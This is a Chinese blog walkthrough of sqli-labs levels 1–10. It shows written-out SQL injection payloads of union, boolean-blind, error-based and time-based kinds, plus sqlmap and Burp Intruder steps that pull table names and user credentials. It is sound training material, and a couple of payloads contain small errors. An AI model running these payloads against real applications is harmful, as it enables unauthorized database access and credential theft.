sqli-labs(1--10)

Less-1 (前四关联合注入)

输入 1’ 出现错误,发现 ’ 将原有语句中 ’ 闭合,从而多了一个 '。
在这里插入图片描述输入 1’ and ‘1’=‘1’ --+ 成功回显。
在这里插入图片描述接下来判断字段数;使用 order by 语句。

order by 4 报错。
在这里插入图片描述order by 3 成功回显。
说明字段数为 3 。

使用联合注入, union select 1 ,2 ,3 判断回显位置。
在这里插入图片描述发现 2 ,3 位置有回显。

通过 2,3 位置查看当前数据库名称 :security
语句: -1’ union select 1,2,database() --+
在这里插入图片描述判断表名:
语句: -1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘security’ --+

在这里插入图片描述查字段名:
语句:-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘users’ --+

在这里插入图片描述获得数据:
语句: -1’ union select 1,group_concat(username),group_concat(password) from users --+

在这里插入图片描述

Less-2

第二关数字型:
使用语句 1 and 1=1 --+ 得到结果,其余方式与第一关类似,不在叙述。
在这里插入图片描述

Less-3

第三关使用 ') 进行闭合,不在赘述。
在这里插入图片描述

Less-4

第四关使用 ") 进行闭合,便不再赘述。
在这里插入图片描述

Less-5 (5-7布尔盲注,报错注入)

使用 1 ’ and ‘1’ = ‘1’ --+ 有反馈,说明sql语句使用单引号进行闭合。
在这里插入图片描述针对布尔盲注,步骤如下:

1.判断数据库长度。

2.判断数据库名称。

3.判断表的数量。

4.判断每个表的长度。

5.判断每个表的名称。

6.判断列的数量。

7.判断列的长度。

8.判断列的名称

9.判断字段数,字段名,数据。

1.判断数据库长度:

使用 length () 函数。

语句:
1’ and length(database())=8 --+ 有回显,说明数据库长度为8.
在这里插入图片描述
2.判断数据库名称
使用 ascii()substr() 函数。
语句:
1’ and ascii(substr(database(),1,1))=115 --+ 说明数据库第一个字符的ASCII码值为115,对应字符为 s ;以此类推,得出其他7个字符,最后得出数据库名称为 security 。
在这里插入图片描述3.判断表的数量:
使用 count() 函数。
语句: 1’ and (select count(table_name) from information_schema.tables where table_schema = ‘security’) = 4 --+ 有反馈,说明表的数量为 4 。
在这里插入图片描述4.判断每个表的长度。
使用 limit 函数。
语句: 1’ and length((select table_name from information_schema.tables where table_schema = ‘security’ limit 0,1)) = 6 --+ 有反馈,说明第一个表的长度为6.
在这里插入图片描述以此类推,得出其他三个表的长度。

5.判断每个表的名称:
语句: 1’ and ascii(substr((select table_name from information_schema.tables where table_schema = ‘security’ limit 3,1),1))=117 --+ ,说明第四个表的第一个字符ASCII码值为117,对应字符为 u 。
在这里插入图片描述以此类推,得出表名为 users 。

判断字段(列)与表的方法类似,不在赘述。

这里使用 SQLMAP 获得数据。

所有函数及工具的使用请自行查阅资料,不在赘述。

  1. 查看当前数据库名称。–dbs
    在这里插入图片描述询问是否跳过其他特殊的方式,选择y。
    在这里插入图片描述获得了许多信息,
    2.使用 -D 参数指定数据库,- -tables 获得表名。
    在这里插入图片描述获得表名:
    在这里插入图片描述
    3.使用 -T 指定表名 - -columns 获得字段名:
    在这里插入图片描述
    4.使用 -C 指定字段名,- -dump获得数据:
    在这里插入图片描述

因为已知是布尔盲注,所以可以添加参数指定使用布尔盲注:
具体参数为 --technique B 。

使用报错注入:

涉及函数:

floor() 向下取整

rand() 在0和1之间产生一个随机数

rand(0)*2 在0和2之间产生一个随机数

extractvalue()

updatexml()
group by()

报错注入原理:
报错注入原理

使用语句:

1.floor()、rand()、group by():

select count(*),concat((select database()),floor(rand(0)*2))as dbs from information_schema.schemata group by dbs;

2.extractvalue():

select extractvalue (1,concat(0x7e,select database(),0x7e))

3.upadtexml:

select updatexml (1,concat(0x7e,select database(),0x7e),1)

具体使用方法:
报错注入学习及利用报错注入

Less-6

第六关使用 " 进行闭合,这里使用burpsuite暴力破解得到相应的数据。

1.直接从数据库名称开始:
可以选择使用ASCII码,也可直接选择字母进行暴力破解。
这里直接对字母暴力破解。

语句: 1" and substr(database(),1,1)=‘a’ --+

使用 intruder 模块中的Clusterbomb(集束炸弹)方式。
添加参数:
在这里插入图片描述设置payload:
第一个参数:
在这里插入图片描述第二个参数:
在这里插入图片描述开始爆破:
在这里插入图片描述
得出结果,数据库名称为 security

暴力破解表(列)的个数、长度、名称主要是参数的选取及payload设置的问题,不在赘述。

Less-7

第七关使用 ')) 进行闭合,不在赘述。

Less-8

我是彩笔,不知道和第五关有什么区别 0.0

Less-9(9-10时间盲注)

与布尔盲注不同点,无法通过反馈判断是否注入成功。
id = 1:
在这里插入图片描述
id = -1:
在这里插入图片描述
使用 sleep() 函数和 if 判断。
当然布尔盲注也可以使用时间盲注获得数据。

步骤与布尔盲注相同:

1.判断数据库长度。
语句: 1’ and if(length(database())=8,sleep(5),1) --+
在这里插入图片描述页面加载有延时,说明数据库长度为8.

2.判断数据库名称
语句: 1’ and if(ascii(substr(database(),1,1)=117),sleep(5),1) --+
在这里插入图片描述有延时,说明第一个字符的ASCII码为117,对应字符为 s ;以此类推,获得数据库的名称。

剩下步骤只是在布尔盲注语句的基础上增加了 if 判断,不再依次叙述。

已知为时间盲注,拿SQLMAP跑一下 ^ _ ^ …
在这里插入图片描述查的当前数据库:
在这里插入图片描述
查询当前用户:
在这里插入图片描述滴滴:
在这里插入图片描述

查表、字段、数据,不再列出。

Less-10

第十关使用 " 进行闭合,不在赘述。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值